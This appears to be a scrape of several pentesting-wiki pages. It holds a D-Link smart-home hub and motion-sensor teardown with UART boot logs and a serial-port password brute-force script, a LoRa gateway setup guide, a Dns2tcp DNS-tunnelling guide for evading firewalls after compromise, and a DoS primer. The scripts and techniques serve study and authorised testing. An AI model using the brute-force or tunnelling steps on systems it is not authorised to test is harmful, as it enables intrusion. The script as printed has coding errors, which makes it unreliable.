[ System Message ]:Current Miiicasa Frimware Addr: http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX
[ System Message ]:Default Linkd.out Path: /dch/linkd
grep "version_in_text=$V_OriginVer" $V_LauncherPath
V_LinkdPermanentPath is /dch/linkd.out
md5 check:/dch/linkd.out
V_MD5Miii: 5e0ba8747132524622864a5262a1d50e
V_MD5Local: 5e0ba8747132524622864a5262a1d50e
V_BrandStr: D-Link
V_ModelStr: DCH-G020
V_Connectable: 1
V_SerVerStr: 1.7.5
V_SerVerAddr: http://s3-us-west-2.amazonaws.com/static-us-west.dch.dlink.com/firmware/agent/DCH-G020/D-Link-DCH-G020-1.7.5-AX
V_WgetVerAddr: http://api.dch.dlink.com/agent/upgrade?brand=D-Link&model=DCH-G020&hardware_version=A1&ver=&md5=57afa002b23b759e4070403c74f1b5cc
V_AesEnAddr: http://api.dch.dlink.com/agent/upgrade?p=ZgiDIrwvluRC0zpQr1K%2B84h7GSf96lTMNfBCwQcGtmt4TvYNU9kkzyW9GCaUafmaDRkYw7YQzDERLNOMaAqWhURPdhlpvQt4smuy3%2FucT4ilPrzhgO26zUagIoarwYhl&iv=ei4ns9CIBPN4oVHJ18PHqw%3D%3D
V_VerStr: 0.9
V_MiiiHasVersion: 1
--2019-04-15 02:08:09-- http://127.0.0.1:5459/ws/api/getVersion
Connecting to 127.0.0.1:5459... failed: Connection refused.
br0: port 2(ath0) entering forwarding state
mlme_create_infra_bss : Overriding HT40 channel with HT20 channel
--2019-04-15 02:08:11-- http://127.0.0.1:5459/ws/api/getVersion
Connecting to 127.0.0.1:5459... failed: Connection refused.
--2019-04-15 02:08:13-- http://127.0.0.1:5459/ws/api/getVersion
Connecting to 127.0.0.1:5459... failed: Connection refused.
[ System Message ]:LAUNCHER PID = 481 .............
[ System Message ]:START LINKD WATCHDOG.............
[ System Message ]:LINKD &bindStr.............
[ System Message ]:Linkd.out isn't running ,restarting..........
--2019-04-15 02:08:15-- http://127.0.0.1:5459/ws/api/getVersion
Connecting to 127.0.0.1:5459... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/javascript]
Saving to: `/tmp/getVersion'

[<=> ] 0 --.-K/s [ <=> ] 101 --.-K/s in 0s

2019-04-15 02:08:15 (269 KB/s) - `/tmp/getVersion' saved [101]

starting pid 220, tty '/dev/ttyS0': '/bin/login'
DCH-G020 login: root
Password:
Login incorrect
DCH-G020 login: adm
login: can't change directory to '/adm'

BusyBox v1.21.1--LSDK-10.2-00082-4 (2016-06-29 05:45:06 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ $ ls
bin etc linuxrc proc sys var www-ro
dch etc-ro lost+found root tmp version
dev lib mnt sbin usr www
/ $ a</nowiki>
</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ D-Link® DCH-S150: Home Wi-Fi Motion Sensor</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<nowiki>
U-Boot 1.1.4--LSDK-10.1.432 (Apr 8 2014 - 17:07:58)

ap143 - Honey Bee 1.1

DRÁM: 32 MB
Top of RAM usable for U-Boot atº 8²000000
Reserving 134k for U-Boot at: 81fdã000
Reserving 192k for malloc() at: 81fac°00
Reserving 44 Bytes for Board Info at: ¸1fabfd4
Reserving 36 Bytes for Global Datá at: 81fabfb0
Reserving 128k for boot paráms() at: 81f8bfb0
Stack Pointer at: 81f8bæ98
Now running in RAM - U-Bïot at: 81fdc000
============================================
Date:Apr 8 2014 Timå:17:07:58
Loader Version: v1.00 Build:±0Moäule Name: DCH-S150
================½==½==½=====================
Flash Manuf Id 0xc², DeviceId0 0x20, DeviceId1 0x17
flash siúe 8MB, sector count = 128
Flash: 8 MB
* Scan for Linux kernel images ...
* Backup mode Linux kernel found at 9F050000
* Linux kernel found at 9F2B0000
* Scan completed.
!!! 1 Backup mode and 1 other Linux kernel images found.

Using default environment

In: serial
Out: serial
Err: serial
Net: ath_gmac_enet_initializå...
ath_gíac_enet_initialize: reset mask:c02200
Scorpion ---->S27 PHY*
S27 reg init
: cfg1 0x800c0000 ãfg2 0x7114
eth0: c4:12:f5º1cº8eº4c
athrs27_phy_setup ATHR_PHY_CONTRÏL ´ :±000
athrs27_phy_setup ATHR_PHY_SPEC_STAUS 4 :10
eth0 up
Honey Bee ----¾ ÍAC 1 S27 PHY *
S27 reg init
ATHRS27: resetting s27
ATHRS27: s27 reset done
: cfg± 0x800c0000 cfg2 0x7214
eôh1º c´:12:f5:1c:8e:4c
athrs27_phy_setup ATHR_PHÙ_CONTROL 0 :1000
athrs27_phy_setup ATHR_PÈY_SPEC_STAUS 0 :10
athrs27_phy_setup ATHRßPHY_CONTROL 1 :1000
athrs27_phy_setup ATHÒ_PHY_SPEC_STAUS 1 :10
athrs27_phy_setup AÔHR_PHY_CONTROL 2 :1000
athrs27_phy_setup ÁTHR_PHY_SPEC_STAUS 2 :10
athrs27_phy_setuð AÔHR_PHY_CONTROL 3 :1000
athrs27_phy_setõp ÁTHR_PHY_SPEC_STAUS 3 :10
eth1 up
eth0, eth1
Setting 0x±81±62c0 to 0x3061a100
Hit any keù tï stop autoboot: 2 �� 1 �� 0
## Âooting image at 9f2b0000 ...
Imaçe Name: Linux Kernel Image
Creáted: 2018-01-03 8:34:42 UTÃ
Émage Type: MIPS Linux Kernel Imáge (lzma compressed)
Data Sizå: 832896 Bytes = 813.4 kB
Loaä Address: 80002000
Entry Point: 801dc3a0
Verifying Checksum at 0x9f²b0040 ...OK
Uncompressing Kernel Image .®. OK
No initrd
## Transferriîg control to Linux (at address 801dc³a0) ...
## Giving linux memsize in âytes, 33554432

Starting kernel ...

Booting QCA953x
Linux version 2.6.31 (root@minlee-Mint17) (gcc version 4.3.3 (GCC) ) #1 Wed Jan 3 16:27:59 CST 2018
flash_size passed from bootloader = 8
arg 1: console=ttyS0,115200
arg 2: root=31:08
arg 3: rootfstype=squashfs
arg 4: init=/sbin/init
arg 5: mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(log),896k(bk_uImage),1536k(bk_rootfs),896k(uImage),4032k(rootfs),2432k@0x50000(bk_firmware),4928k@0x2b0000(firmware),512k@0x780000(mydlink)
arg 6: mem=32M
CPU revision is: 00019374 (MIPS 24Kc)
ath_sys_frequency: cpu apb ddr apb cpu 550 ddr 400 ahb 200
Determined physical RAM map:
memory: 02000000 @ 00000000 (usable)
User-defined physical RAM map:
memory: 02000000 @ 00000000 (usable)
Zone PFN ranges:
Normal 0x00000000 -> 0x00002000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00002000
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 8128
Kernel command line: console=ttyS0,115200 root=31:08 rootfstype=squashfs init=/sbin/init mtdparts=ath-nor0:64k(u-boot),64k(ART),64k(MP),64k(config),64k(log),896k(bk_uImage),1536k(bk_rootfs),896k(uImage),4032k(rootfs),2432k@0x50000(bk_firmware),4928k@0x2b0000(firmware),512k@0x780000(mydlink) mem=32M
PID hash table entries: 128 (order: 7, 512 bytes)
Dentry cache hash table entries: 4096 (order: 2, 16384 bytes)
Inode-cache hash table entries: 2048 (order: 1, 8192 bytes)
Primary instruction cache 64kB, VIPT, 4-way, linesize 32 bytes.
Primary data cache 32kB, 4-way, VIPT, cache aliases, linesize 32 bytes
Writing ErrCtl register=00000000
Readback ErrCtl register=00000000
Memory: 23812k/32768k available (1912k kernel code, 8956k reserved, 396k data, 116k init, 0k highmem)
NR_IRQS:128
plat_time_init: plat time init done
Calibrating delay loop... 365.56 BogoMIPS (lpj=731136)
Mount-cache hash table entries: 512

****************ALLOC***********************
Packet mem: 80270600 (0x600000 bytes)
********************************************

NET: Registered protocol family 16
bio: create slab <bio-0> at 0
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 1024 (order: 1, 8192 bytes)
TCP bind hash table entries: 1024 (order: 0, 4096 bytes)
TCP: Hash tables configured (established 1024 bind 1024)
TCP reno registered
NET: Registered protocol family 1
ATH GPIOC major 0
squashfs: version 4.0 (2009/01/31) Phillip Lougher
JFFS2 version 2.2 (NAND) (ZLIB) (RTIME) (c) 2001-2006 Red Hat, Inc.
msgmni has been set to 46
alg: No test for stdrng (krng)
io scheduler noop registered (default)
Serial: 8250/16550 driver, 1 ports, IRQ sharing disabled
serial8250.0: ttyS0 at MMIO 0xb8020000 (irq = 19) is a 16550A
console [ttyS0] enabled
loop: module loaded
12 cmdlinepart partitions found on MTD device ath-nor0
Creating 12 MTD partitions on "ath-nor0":
0x000000000000-0x000000010000 : "u-boot"
0x000000010000-0x000000020000 : "ART"
0x000000020000-0x000000030000 : "MP"
0x000000030000-0x000000040000 : "config"
0x000000040000-0x000000050000 : "log"
0x000000050000-0x000000130000 : "bk_uImage"
0x000000130000-0x0000002b0000 : "bk_rootfs"
0x0000002b0000-0x000000390000 : "uImage"
0x000000390000-0x000000780000 : "rootfs"
0x000000050000-0x0000002b0000 : "bk_firmware"
0x0000002b0000-0x000000780000 : "firmware"
0x000000780000-0x000000800000 : "mydlink"
nf_conntrack version 0.5.0 (512 buckets, 2048 max)
TCP cubic registered
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Bridge firewalling registered
arch/mips/atheros/gpio.c (ath_simple_config_init) RESET_BTN_GPIO: 17, RESET_BTN_TRIGGER_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_BTN_GPIO: 2, WPS_BTN_TRIGGER_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) WPS_LED_GPIO: 3, LED_ACTIVE_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) PIR_GPIO: 1, PIR_TRIGGER_LEVEL: 1
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO1: 3, LED_ACTIVE_LEVEL: 0
arch/mips/atheros/gpio.c (ath_simple_config_init) POWER_LED_GPIO2: 4
VFS: Mounted root (squashfs filesystem) readonly on device 31:8.
Freeing unused kernel memory: 116k freed
init started: BusyBox v1.21.1--LSDK-10.1.432 (2018-01-03 16:30:16 CST)
starting pid 135, tty '': '/etc/rc.d/rcS'
QCA953x Watchdog Timer enabled (30 seconds, nowayout)

Please press Enter to activate this console. 128+0 records in
128+0 records out
Wed Jan 3 00:00:00 UTC 2018
[control_center.c] dch mtd found: mtd11
[control_center.c] kernel jffs2 support detected.
[control_center.c] mount /dev/mtdblock11 to /dch.
128+0 records in
128+0 records out
qca955x_GMAC: Length per segment 1536
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:0 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18
qca955x_GMAC: unit 0 --> c4:12:f5:1c:8e:4c
asf: module license 'Proprietary' taints kernel.
Disabling lock debugging due to kernel taint
qca955x_GMAC: Max segments per packet : 1
qca955x_GMAC: Max tx descriptor count : 512
qca955x_GMAC: Max rx descriptor count : 128
qca955x_GMAC: Mac capability flags : 2581
953x_GMAC: qca953x_gmac_attach
Link Int Enabled
qca953x_set_gmac_caps CHECK DMA STATUS
mac:1 Registering S27....
qca955x_GMAC: RX TASKLET - Pkts per Intr:18
qca955x_GMAC: unit 1 --> c4:12:f5:1c:8e:4c
qca955x_GMAC: Max segments per packet : 1
qca955x_GMAC: Max tx descriptor count : 512
qca955x_GMAC: Max rx descriptor count : 128
qca955x_GMAC: Mac capability flags : 2D81
ath_hal: 0.9.17.1 (AR5416, AR9380, REGOPS_FUNC, WRITE_EEPROM, 11D)
ath_rate_atheros: Copyright (c) 2001-2005 Atheros Communications, Inc, All Rights Reserved
ath_dev: Copyright (c) 2001-2007 Atheros Communications, Inc, All Rights Reserved
brctl: iface ath1: No such device
athr_gmac_ring_alloc Allocated 8192 at 0x81cb0000
athr_gmac_ring_alloc Allocated 2048 at 0x81f13800
HONEYBEE ----> S27 PHY MDIO
ATHRS27: resetting s27
ATHRS27: s27 reset done
Setting Drop CRC Errors, Pause Frames and Length Error frames
Setting PHY...
/dev/watchdog device found. Try to launch watchdog daemon.
ath_ahb: 10.1.478 (Atheros/multi-bss)
__ath_attach: Set global_scn[0]
Enterprise mode: 0x03fc0000
Restoring Cal data from Flash
Green-AP : Green-AP : Attached

ath_get_caps[5956] rx chainmask mismatch actual 3 sc_chainmak 0
ath_get_caps[5931] tx chainmask mismatch actual 3 sc_chainmak 0
ADDRCONF(NETDEV_UP): eth1: link is not ready
SC Callback Registration for wifi0
wifi0: Atheros ???: mem=0xb8100000, irq=2
Invalid command : setVowExt
VAP device ath1 created
ath1
VAP device ath0 created
ath0

DES SSID SET=DCH-S150-8E4C
ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1
device ath0 entered promiscuous mode
ieee80211_ioctl_siwmode: imr.ifm_active=131200, new mode=2, valid=1
device ath1 entered promiscuous mode
Successfully iniieee80211_ioctl_getparam : parameter 0x284 not supported
tialized wpa_supplicant
br0: port 2(ath1) entering learning state
killall: wifi_client_notifier: no process killed
br0: port 2(ath1) entering forwarding state
Control Center(169) : Recive a request(211) from 407
Wireless Center(201) : Recive a request(211) from 169
Control Center(169) : Recive a request(102) from 407
Lan Center(199) : Recive a request(102) from 169
Control Center(169) : Recive a request(409) from 199
Application Center(203) : Recive a request(409) from 169
Control Center(169) : Recive a response(409) from 203
Control Center(169) : Recive a request(410) from 199
Application Center(203) : Recive a request(410) from 169
Control Center(169) : Recive a request(414) from 199
Control Center(169) : Recive a request(8) from 199
DCHC Center(205) : Recive a request(3008) from 169
Application Center(203) : Recive a request(414) from 169
Control Center(169) : Recive a response(410) from 203
Control Center(169) : Recive a response(3008) from 205
Failed to kill daemon: No such file or directory
Lan Center(199) : Recive a response(409) from 169
Lan Center(199) : Recive a response(410) from 169
Lan Center(199) : Recive a response(414) from 169
Lan Center(199) : Recive a response(8) from 169
Control Center(169) : Recive a request(10) from 199
Lan Center(199) : Recive a response(10) from 169
Control Center(169) : Recive a response(102) from 199
Control Center(169) : Recive a response(414) from 203
Application Center(203) : Recive a request(424) from 169
killall: dch_scheduler: no process killed
Control Center(169) : Recive a response(424) from 203
Application Center(203) : Recive a request(419) from 169
killall: you need to specify whom to kill
Control Center(169) : Recive a response(419) from 203
Application Center(203) : Recive a request(421) from 169
killall: chkfwd: no process killed
Control Center(169) : Recive a response(421) from 203
Application Center(203) : Recive a request(426) from 169
killall: linkd: no process killed
killall: linkd.out: no process killed
Control Center(169) : Recive a response(426) from 203
Application Center(203) : Recive a request(417) from 169
killall: mdns-scan: no process killed
Control Center(169) : Recive a response(417) from 203
killall: crond: no process killed
Jan 3 00:00:24 crond[481]: crond: crond (busybox 1.21.1--LSDK-10.1.432) started, log level 8
Successfully iniieee80211_ioctl_getparam : parameter 0x284 not supported
tialized wpa_supplicant
Control Center(169) : Recive a response(211) from 201
Configuration fi ieee80211_ioctl_siwmode: imr.ifm_active=131712, new mode=3, valid=1
le: /var/etc/oob DEVICE IS DOWN ifname=ath0
.ap_bss
DEVICE IS DOWN ifname=ath0
ath0: Could not connect to kernel driver
Using interface ath0 with hwaddr 06:12:f5:1c:8e:4c and ssid 'DCH-S150-8E4C'
br0: port 1(ath0) entering learning state
br0: port 1(ath0) entering forwarding state
ath_tx_edma_tasklet: TXQ[3] tailindex 2
Jan 3 00:01:01 crond[481]: crond: USER root pid 541 cmd dch_scheduler mdns_watchdog
Jan 3 00:01:01 crond[481]: crond: USER root pid 547 cmd dch_scheduler webserver_watchdog
Jan 3 00:01:01 crond[481]: crond: USER root pid 553 cmd dch_scheduler ntp_watchdog
Control Center(169) : Recive a request(418) from 554
Application Center(203) : Recive a request(418) from 169
killall: you need to specify whom to kill
ntp1.dlink.com: Unknown host
Control Center(169) : Recive a response(418) from 203

starting pid 170, tty '/dev/ttyS0': '/bin/login'
MotionSensorDLink login: adm

/ $ ls /bin
ash echo ln mv sleep
busybox ethreg login pidof stat
cat getopt ls ping sync
chmod grep md ping6 tar
cp gzip mkdir ps touch
date hostname mknod rm umount
dd hush mm sed uname
df iperf3 more setserial vi
dnsdomainname kill mount sh

/ $ ls /sbin
arp halt klogd poweroff syslogd
avahi-daemon ifconfig logread reboot udhcpc
blkid init lsmod rmmod zcip
fdisk insmod mdev route

/ $ ls /usr/sbin
arping fping iwconfig telnetd
brctl fping6 iwlist tftpd
crond hostapd iwpriv udhcpd
dhcprelay hostapd_cli rdate wd_keepalive
fakeidentd inetd rdev wpa_cli

/ $ ls /usr/bin
[ dumpleases run_migrate
[[ exec_policy_action scan_network
aes_alpha factory_reset send_dchc_event
app_center find sqlite3
bundle_counter free tail
ccrypt fw_upgrade test
chkfwd fw_verify top
config2flash head tr
config_header killall tty
control_center lan_center update_chome
cut lighttpd uptime
dch_scheduler logger wc
dchc_center lsusb wget
delay_reboot md5sum wifi_center
dirname mdns-scan wifi_client_notifier
dlink_time_sync nslookup wlanconfig
du ntpclient xargs</nowiki>
</div>
</div>
</div>

<h3>Live-Analysis</h3>
<p style="text-align: justify">The Linux login can be the only challenge with this method by denying access to the live system. Common passwords for root should be tried first, but also other common usernames like admin should be tried. To automate the password guessing process, a simple Python script has been written which performs a wordlist attack over the serial connection. A simplified version of this script can be found below. Alternatively, if the password could not be guessed, the detour can be made via the firmware image, if it is available, either by download or chip extraction. This contains the hashed password, which can subsequently be processed using common password cracking techniques and tools. In this case the system has a password-protected root user, but it also has several other users without passwords that could be used to gain access to the root password hash. Password guessing or cracking is not always necessary, since some devices already offer full access to a root shell without password prompting, and some developers replace the standard Linux login with their own debugging applications. The mentioned Python script is nothing fancy, and, due to the delay in the Linux login process, very slow, but it is quite useful if there is no other way to retrieve the password or its hash more effectively. The script has to be customized for each device, and the corresponding login request messages have to be inserted into the script, which are displayed during the login process. The script scans the output for login requests messages and processes those until the password is found or the word list is finished.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="background-color: white; calc(100% - 12px); overflow:auto;">
<div style="font-weight:bold;line-height:1.6;">ⓘ bruteforce_unix_login_over_serial.py</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
<syntaxhighlight lang="python">
#!/usr/bin/env python3
import sys
import serial
import time
from pathlib import Path

# Configuration
un="root"
pw=None
messages = {
"Login:" : sendUN,
"Password:" : sendPW,
"Login incorrect" : failed,
"Other" : enter
}
timeout = time.time() + 60
ser=serial.Serial(
port=/dev/ttyAMA0,
baudrate=115200,
parity=serial.PARITY_NONE,
stopbits=serial.STOPBITS_ONE,
bytesize=serial.EIGHTBITS,
timeout=0.02
)

# Busines logic
def getMsg():
return ser.readline().decode().strip()

def enter():
ser.write(str.encode("\n"))
return 0

def sendUN():
global un
ser.write(str.encode(un+"\n"))
return 1

def sendPW():
global pw
ser.write(str.encode(pw+"\n"))
return 2

def failed():
enter()
return 3

def trypw():
while 1:
msg = getMsg()
func = messages.get(msg, enter)
if func() == 3:
return 0
if time.time() > timeout:
return 1

# Main code
with open(wordlist) as f:
for line in f:
pw = line.strip()
if trypw():
print(pw)

# Teardown
ser.close()
exit()
</syntaxhighlight>
</div>
</div>
</div>

<p style="text-align: justify">Once Privileged access is obtained on the Linux shell, the system as a whole can be examined. This includes analysis of configurations, binaries, system properties, and many more.</p>

<h2>Hardware</h2>
<ul>
<li>[[D-LINK® DCH-G020 Gateway Connected Home Hub|D-Link® DCH-G020 Gateway Connected Home Hub]]</li>
<li>[[D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|D-Link® DCH-S150 Home Wi-Fi Motion Sensor]]</li>
<li>Dev. board providing UART (e.g. Raspberry Pi) or USB-to-TLL converter</li>
</ul>

<h2>References</h2>
<ul>
<li>ftp://ftp.dlink.de/dch/</li>
<li>https://eu.mydlink.com/content/productfamily</li>

<li>https://eu.dlink.com/uk/en/products/dch-g020-mydlink-connected-home-hub</li>
<li>https://eu.dlink.com/landing/products/dch-107kt-smart-home-security-kit</li>

<li>https://web.archive.org/web/20131226002253/http://www.sourcesec.com/2010/01/</li>
<li>https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf</li>
<li>http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/</li>
<li>http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/</li>
<li>https://fccid.io/KA2</li>
<li>https://fccid.io/KA2CHG020A1</li>
<li>https://fccid.io/KA2CHS150A1</li>
<li>https://cdn.sparkfun.com/datasheets/Dev/Arduino/Other/CH340DS1.PDF</li>
<li>https://www.sparkfun.com/tutorials/215</li>
</ul>

</div>

[[Category:Documentation]]
[[Category:Pentesting]]

Examination of YAMAHA MusicCast devices

2024-03-12T17:42:12Z

Ikramer:

Dragino LoRa Hat Single-Channel-Gateway

2024-03-12T17:41:28Z

Ikramer:

<span id="used-hardware"></span>
== Used Hardware: ==

* Raspberry Pi 4
* Dragino Raspberry Pi LoRa/GPS HAT
* SD Card sufficient for Raspberry Pi OS Installation

<span id="hardware-assembly"></span>
== Hardware Assembly ==

Carefully place the HAT onto the Raspberry Pi’s GPIO pins and gently push down. Always remember never to power on the HAT without a mounted antenna, as doing so could result in hardware damage.

<span id="system-setup"></span>
== System setup ==

For this hardware, a clean install of Raspberry Pi OS is recommended. I recommend using the Raspberry Pi Imager, as it allows you to pre-set ssh settings before flashing the OS.

* Connect to the Raspberry Pi via ssh
* Enable SPI interface: ''sudo raspi-config''
** Select Interface Options -> Select Yes when asked if you want to enable the SPI interface
* Reboot the Raspberry Pi: ''sudo shutdown -r now''

'''Note''': On the Raspberry Pi 4, there can be problems with installing the WiringPi package. If you encounter the same issue with an error message appearing when trying to install it, use the following commands to install a compatible version of WiringPi:

* <code>cd /tmp</code>
* <code>wget https://project-downloads.drogon.net/wiringpi-latest.deb</code>
* <code>sudo dpkg -i wiringpi-latest.deb</code>
* Check if the correct version was installed: <code>gpio -v</code>
** This should output version 2.52.

Once WiringPi is installed and configured correctly, the Dragino LoRa/GPS Hat can be set up to act as a few different things.

<span id="lora-single-channel-gateway"></span>
=== LoRa Single Channel Gateway ===

The Dragino LoRa Hat can be setup as an 868 MHz single-channel LoRa gateway. To do this, we can leverage existing software. - ''sudo apt install git'' - ''git clone https://github.com/tftelkamp/single_chan_pkt_fwd'' - ''cd ~/single_chan_pkt_fwd'' - ''nano main.cpp''

In the main.cpp file, you can define variables necessary for registering the gateway (e.g. longitude and latitude) - You must also change the server IP to the IP of eu1.cloud.thethings.network (52.212.223.226).

[[File:Server_IP.png]]

* <code>make</code>
* <code>sudo ./single_chan_pkt_fwd</code>

You can hit Ctrl+Z to exit the program and close down the gateway - this means the gateway is only running when the command is executed.

<span id="registering-the-gateway-in-the-things-network"></span>
=== Registering the Gateway in The Things Network ===

After starting the gateway program as stated before, the Gateway ID will be displayed (see image below).

[[File:GatewayID.png]]

You can now register a new gateway in the TTN console with this ID. If everything is configured correctly, you should see some activity coming from the gateway.

'''Note:''' By default, the Things Network will not display single-channel gateways on the map of gateways, as they are considered less reliable. However, for most experimental purposes, they suffice.

[[Category:Documentation]]

Dns2tcp

2024-03-12T17:40:40Z

Ikramer:

== Summary ==

'''Since this is a tool used in Post Exploitation phase, this document will assume that access on the victim machine has already been gained. Configuration on both endpoints are necessary to use this tool.'''
----

Dns2tcp is a tool used in order to send TCP packets over DNS traffic and consists of two components - a server tool and a client tool. The server contains a list of ressources, which are defined inside a configuration file. Each of these resources is either a local or remote service, which is waiting for a TCP connection. The client listens to the predetermined TCP port and redirects every incoming connection over DNS to the endservice. In this way, a restrictive firewall, which allows dns traffic, can be evaded.

In order to make full use of this tool, a NS record for a subdomain is needed, which has to point to the address of the server.

Example of a NS entry:

<code>subdomain IN NS domain.mydomain.at</code>

== Server side configuration ==

In this example, a file called ''dns2tcpdrc'' is created via cat. The server will listen to all IP-addresses, by setting the listen variable as "0.0.0.0". The port '''must''' be 53 as this is the default port for DNS. The domain ''subdomain.mydomain.at'' is the subdomain configured beforehand. The resource ''ssh'' is used, but other services can also be used.

The end file should look similar to the example below:

<nowiki>cat >.dns2tcpdrc <<END
listen = 0.0.0.0
port = 53
user=nobody
domain = subdomain.mydomain.at
resources = ssh:127.0.0.1:22
END</nowiki>

The server can now be started by using the command:

<code>dns2tcpd -F [-d 1/2/3] -f .dns2tcpdrc</code>

The flag -F causes the tool to work in the foreground while -f is used in order to set the configuration file. The flag -d can be optionally used in order to set the debug level with 3 being the highest debug level, thus showing the most information.

== Client side configuration ==
Another configuration file needs to be created on the client machine. It is important to set the same domain and resource as it has been declared in the configuration file on the server side. The ''local_port'' declared is necessary for the last step.<ref name="kalitools">https://www.kali.org/tools/dns2tcp/</ref>

Client configuration file example:

<nowiki>cat >.dns2tcprc <<END
domain = subdomain.mydomain.at
resource = ssh
local_port = 2222
END</nowiki>

=== Testing ===
Check for available resources:

<code>dns2tcpc -z subdomain.mydomain.at [server-IP]</code>

[[File:Dns2tcptest.png|alt check for available resources]]

If no available resources are shown, a mistake has been made in the previous configuration. In this case, retrying with the debug level set to a higher level and adding <code>debug_level = 3</code> to the configuration file might help in order to find the cause of the error.<ref>https://salsa.debian.org/debian/dns2tcp</ref>

=== Browser Setup ===
With dns2tcp access to the internet can be gained despite the firewall blocking traffic. In order to make use of this, the browser's Network Proxy needs to be edited in the settings. The Proxy Access needs to configured as "Manual proxy configuration" and the SOCKS Host needs to have the IP-adress 127.0.0.1. The port has to be set to an open, unused port.

Example settings in firefox using port 8080:

[[File:Proxysettings.png|600px|alt Proxy settings]]

== Execution ==

Start the client:

<code>dns2tcpc -f .dns2tcprc [server-IP] [-d 1/2/3]</code>

Open a new terminal and connect to the remote host via ssh using the ''local_port'' from the client's configuration file and the ''SOCKS-port'' set in the browser configuration:

<code>[server-user]@127.0.0.1 -p [local_port] -D [SOCKS-port]</code>

When opening the web browser now, one is free to access the internet, while many DNS packets are sent between the server and client at a fast rate.<ref name="kalitools"/>

== References ==
<references />

[[Category:Documentation]]
[[Category:Pentesting]]

Denial of Service Attacks

2024-03-12T17:38:09Z

Ikramer:

== Disclaimer ==
'''!!! This Entry is still work in Progress !!!'''

The up-to-date Entry and Drafts can be found here: [[https://git.fh-campuswien.ac.at/c1710475053/elvis-praktikum/tree/master/Dos%20Attacks]]

== Summary ==

This Documentation is about the Basics of Denial of Service and Distributed Denial of Service Attacks.

== Introduction ==

Denial of Service or Dos attacks aim to prevent that legitimate users access the comprised component. Due to Cisco, is the Dos Attack one of the seven most common types of cyber-attacks [1]. The reasons of the attacker can have many backgrounds. The Attack can am to cause facial loss to the attacked company by bringing the company website down. For example, in 2015 the by the time biggest DDos attack with 1,35 Tbps rained down on Github and put it off the line for 15 minutes [2]. There can also be a political reason, like in July 2008 where Georgian President Mikheil Saakashvili’s webpage was targeted by a DDos attack. The web page was inaccessible for two days. A trace back attempts showed that Commanding Server is located in Russia [3]. Since Internet of Things (IoT) and Smart Home Devices get more popular, the number of IoT bots used for DDos Attacks rise day by day. This is caused due to poor security of IoT devices and the lack of security firmware updates.

== Difference Between Denial of Service (DoS) and Distributed Denial of Service (DDoS) Attacks ==

The typical DoS attack is performed from one attacker by flooding the victim server with data. Back than it was possible to take down a small web page with the usage of only one state of the art personal computer. But nowadays it is almost impossible because the internet is dominated by the big domains like google or Amazon. Small websites have the possibility to launch their web page on a server of a big domain which makes a typical DoS attack almost impossible. But Distributed DoS attacks are still able to make a huge impact because the attack gets performed by multiple devices at the same time. This net of attacking devices is called botnet. Botnets get constructed by infecting usual devices threw malware. This botnet devices are also used to flood the internet flood the internet with spam mails [4].

== Target points of Denial of Service Attacks ==

=== Resource Depletion ===

This type attack aims to exhaust resources like power, sockets, memory and computing power to deny any legit resource usage. A well-known example of memory depletion DoS Attack is [[Fork bomb]]. This Program replicates itself until all memory is used up and the system does not allow any new memory allocation. In IoT Networks battery exhaustion attacks are quite common as an attack entry point to take down sensor nodes and make them inaccessible.

=== Bandwidth Depletion ===

Bandwidth Depletion is the most common DoS type for attacking Webservers and Services. The attack can either aim at a whole network or a webserver. The types of a bandwidth depletion attack differ into a standard attack distributed denial of service, amplified dos attacks and Protocol attacks.

=== Zero Day Attack ===

Zero-day attacks use vulnerabilities that are undiscovered by the manufacturers as the main entry point of the attack. The manufacturer is often powerless against zero-day attack, because he must research the vulnerability before they can take efficient counter measures.

== Types of DoS / DDos Attacks ==
=== Volunmetric Attacks ===

[[File:Volnumetric DoS Attack.png|thumb|right|400px||Volnumetric DoS Attack]]

A Volumetric attack is performed by a malicious user and his powerful rig. The malicious user sends a flood of ICMP or TCP packets to the victim to deplete its bandwidth or processing power. The basic form of volumetric attacks against websites is not effective anymore, due to the growth of the internet and Webservices. Nowadays Volumetric Attacks are used with Botnets to be much more effective and many other advanced DoS attacks use this principal as their basis.

=== Reflection Attack ===

[[File:Rflection DoS Attack.png|thumb|right|400px||Reflection DoS Attack]]

This type of attack is performed by using a range of innocent proxies to flood the victim network or device with packets. The malicious user simply sends an ICMP Request to his proxies that have been altered with a spoofed IP address header field. The innocent Proxies reply to the victim in a legit way and deplete the victim’s network. The proxies are unknowingly performed a DoS attack and the malicious user can cover his tracks.

=== Amplification Attacks ===

[[File:Amplification DoS Attack.png|thumb|right|400px||Amplification DoS Attack]]

